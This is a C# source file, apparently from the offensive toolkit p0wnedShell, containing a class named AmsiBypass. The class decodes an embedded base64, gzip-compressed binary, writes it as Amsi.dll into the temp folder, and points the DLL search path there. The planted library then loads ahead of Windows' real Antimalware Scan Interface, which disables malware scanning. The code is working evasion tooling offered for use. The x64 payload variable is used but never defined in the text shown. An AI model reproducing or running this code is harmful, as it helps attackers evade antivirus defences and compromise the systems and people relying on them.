﻿using System;
using System.IO;
using System.IO.Compression;
using System.Runtime.InteropServices;


namespace p0wnedShell
{
    class AmsiBypass
    {
        [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        static extern bool SetDllDirectory(string lpPathName);

        public static byte[] Decompress(byte[] data)
        {
            using (var compressedStream = new MemoryStream(data))
            using (var zipStream = new GZipStream(compressedStream, CompressionMode.Decompress))
            using (var resultStream = new MemoryStream())
            {
                var buffer = new byte[4096];
                int read;

                while ((read = zipStream.Read(buffer, 0, buffer.Length)) > 0)
                {
                    resultStream.Write(buffer, 0, read);
                }

                return resultStream.ToArray();
            }
        }

        public static byte[] Base64_Decode(string encodedData)
        {
            byte[] encodedDataAsBytes = Convert.FromBase64String(encodedData);
            return encodedDataAsBytes;
        }

        public static void Amsi(string arch)
        {
            BinaryWriter bw;

            string AmsiX86 = "H4sIAAAAAAAEAO1YfXRTR3YfWZItGxkrxE4cwodI5Bg2sS35yZ+SiYktsDc2CGxsnBjLwnq25OjDld4jhprGVHaD+uITdheynGyyJ8ThlGx3z7KnlJKkEIGS2HwESJOldKGtN0ubB2ZPvIQDbteb13vnSQYT2I8/tnt6mjln5s785s69M3fu3Jn36p/aTpSEEBVkSSLkIJFTJfndaQLy7IVvzyb7Uz9cdFBR9+GiRrcnpO8JBrqCTp++w+n3Bzj9BlYf5P16j19fvapB7wu42Pz09DRDXMZPi0/v+lbz7hOJvKug8MR3gP4g9bXj36b09ePbKX3j+C5K9xx/GWjd3m7K963m104MAU1OfZPyKVPbTmyn7WHaXuPpcKPcxJztNkLqFMmk+UcHnkpgYyRp0SzFbFgMNObI2IJ7odBB1tOmjtaTCEmOj0lQ0hM3Hu2uVNBBOnmITKcJTQOwcDudCOhV3MGo7YQ8Bvhreln03ZJu0W17BPze38Kfz7G9HFBOG5/Q7JvzvkVEe37Q5eSchHw/RQaIhkzbJJFAb2W+zEa2ofMYCbUNmfsVvmh+V6fHFSIkMw5Qvn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CFbxp+migiufXyFI0IjdAmaxrW/JHtNmW0H7QMwKFqBSQu/Q2UCTxkSiMIrZ4pMB2qKDaxEiaOZ3tojUsGOLGSw4+iL915b5IQ2h7+GFRKuejAYcfC7a68lZfMCKW88suD7Ls+qOsWTbDpjXL0pNDty1L+Q0af8qS8+w7ffL5qeeFH3p+WLHfvl/Y/z+Nmy+fL+rz34zyWA8AKgAA";

            string TempFolder = Path.GetTempPath();
            SetDllDirectory(TempFolder);

            bw = new BinaryWriter(new FileStream(TempFolder + "\\Amsi.dll", FileMode.Create));
            if (arch == "AMD64")
            {
                byte[] decoded = Base64_Decode(AmsiX64);
                byte[] decompressed = Decompress(decoded);
                bw.Write(decompressed);
            }
            else {
                byte[] decoded = Base64_Decode(AmsiX86);
                byte[] decompressed = Decompress(decoded);
                bw.Write(decompressed);
            }
            bw.Close();
        }
    }
}
